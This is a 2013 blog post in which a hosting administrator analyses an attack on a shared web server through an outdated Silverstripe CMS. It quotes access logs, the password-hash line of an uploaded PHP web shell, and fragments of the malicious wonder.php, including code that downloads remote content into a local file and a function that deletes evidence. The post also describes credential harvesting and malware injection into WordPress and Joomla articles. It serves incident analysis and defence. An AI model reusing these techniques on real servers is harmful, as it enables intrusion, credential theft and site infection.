Now that's what I call a web hack! (wonder.php,

Written by - 1 comments

Published on September 5th 2013 - Listed in Internet PHP Linux BSD Hacks

Yesterday I came across the best hacking attack I've seen so far (and I've seen many in the last 8 years...). This one also took me a while to figure out how the hacker was able to upload files into a shared web hosting account, because once files were uploaded, their timestamps were changed. This makes it much harder to track down the logs to find the root cause.

Afer some hours of investigation, the hack is stunning. Not only because of its technical capabilities, but also because the hacker needed patience. 

It all started on August 24th, when a CMS (Silverstripe) of a customer on this shared hosting server was attacked through a vulnerability: - - [24/Aug/2013:12:22:08 +0200] "GET /Security/login?BackURL=%2Fadmin HTTP/1.1" 200 12024 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"

The customer didn't update his CMS system since 2010... So it was really just a question of time when a successful hack would happen. This "point of entry" was actually the hardest part to find out, I'll tell you later why.

The hacker then uploaded a file called Includes.php in a subfolder of the CMS. He then used the uploaded Includes.php to upload several other files and modify permissions on the web account: - - [24/Aug/2013:12:24:39 +0200] "GET /userforms/templates/Includes/ HTTP/1.1" 200 2412 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16" - - [24/Aug/2013:12:24:54 +0200] "GET /userforms/templates/Includes/Includes.php HTTP/1.1" 200 120 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16" - - [24/Aug/2013:12:25:20 +0200] "POST /userforms/templates/Includes/Includes.php HTTP/1.1" 200 11694 "" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16" - - [24/Aug/2013:12:26:06 +0200] "POST /userforms/templates/Includes/Includes.php HTTP/1.1" 200 8928 "" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"

Then it was calm. For exactly 10 days. The hacker showed patience because the next relevant log entries happened on September 3rd when more files were uploaded.
Another very interesting fact was, that the hacker deleted Includes.php once he didn't need it anymore: - - [03/Sep/2013:13:09:05 +0200] "POST /userforms/templates/Includes/Includes.php HTTP/1.1" 200 11042 "" "Opera/9.80 (Macintosh; Intel Mac OS X 10.8.4) Presto/2.12.388 Version/12.16" - - [03/Sep/2013:14:04:46 +0200] "GET /userforms/templates/Includes/Includes.php HTTP/1.1" 404 1105 "-" "Opera/9.80 (Windows NT 5.1) Presto/2.12.388 Version/12.16"

As you see in the GET entry, the file was not found anymore (404). This was why it was difficult to track down the source, as written above.

One of the previous uploaded new files was called uploader.php (a simple upload form), which was then used to upload another file called javascript.php.
javascript.php was a PHP shell secured by a password and looked like this:

javascript.php - a php web shell

The md5sum of the password was set to:

$auth_pass = "dc117c9322deb502c3b16769a8a64e08";

Finally through javascript.php a new file wonder.php was uploaded. And now the real hack began.

wonder.php was a PHP file with 1172 lines full of interesting code. More then 30 functions are defined in it including definition of temporary files and even a destroy function to later delete the temporary files.
A very important code is right at the beginning of wonder.php where external code gets injected from

if (!function_exists('json_encode') || !function_exists('json_decode')) { 
    $content = file_get_contents("");
    $fp = fopen(dirname(__FILE__).DIRECTORY_SEPARATOR."json.php", "w");
    fwrite($fp, $content);
    function json_encode($data) {
        $json = new Services_JSON();
        $resp = $json->encode($data);
        return $resp;
    function json_decode($data, $bool) {
        $json = new Services_JSON();
        $resp = $json->decode($data, $bool);
        return (array)$resp;

As of today, September 5th 2013, this domain is still available and points to

Once wonder.php was starting its job, it went as deep down the system as it could and indexed all files with an extension of .htm, .html and .php in a file called wonder_scripts.php. And wonder.php did a fine job: By the time I detected the hack and stopped its execution, the file already had a size of 203 MB, full with the absolute paths of all found script files.

Now it didn't just stop there. Each found file was parsed for MySQL database credentials and injected with malware code to load an external script (
For all the MySQL credentials found, a database connection was established and it was checked, if a Wordpress of Joomla instance is available. If it found one of these two, all written articles were modified to inject malware code into the article. I'm also pretty sure that all the found credentials were sent back to the hacker.

Once the script would have ran until the end, all evidence would have been destroyed through the "destroy" function:

 function destroy() {
    $uploaderPath = $_REQUEST['uploader_path'];

function deleteFile($path) {
    if (file_exists($path)) {
    } else if (file_exists(WORKING_DIR.DIRECTORY_SEPARATOR.$path)) {

But luckily I caught the hack in the act.

All in all a very interesting experience but nonetheless this has caused a lot of work (including restore work, change of passwords, etc).

Once more, like all the other hacks I've written about in the past, the entry point was an old and vulnerable CMS. I think I could tell as often as I want "People, keep your CMS up to date!" but unfortunately the world is full of black sheep webmasters not caring about (security) updates.

Add a comment

Show form to leave a comment

Comments (newest first)

Michele from wrote on Dec 16th, 2013:

Thanks for sharing! I saw them looking for wonder.php in my apache logs, after reading this immediately checked things out to see if I had any of the signs. All looks okay, but thanks for your detailed writeup about it.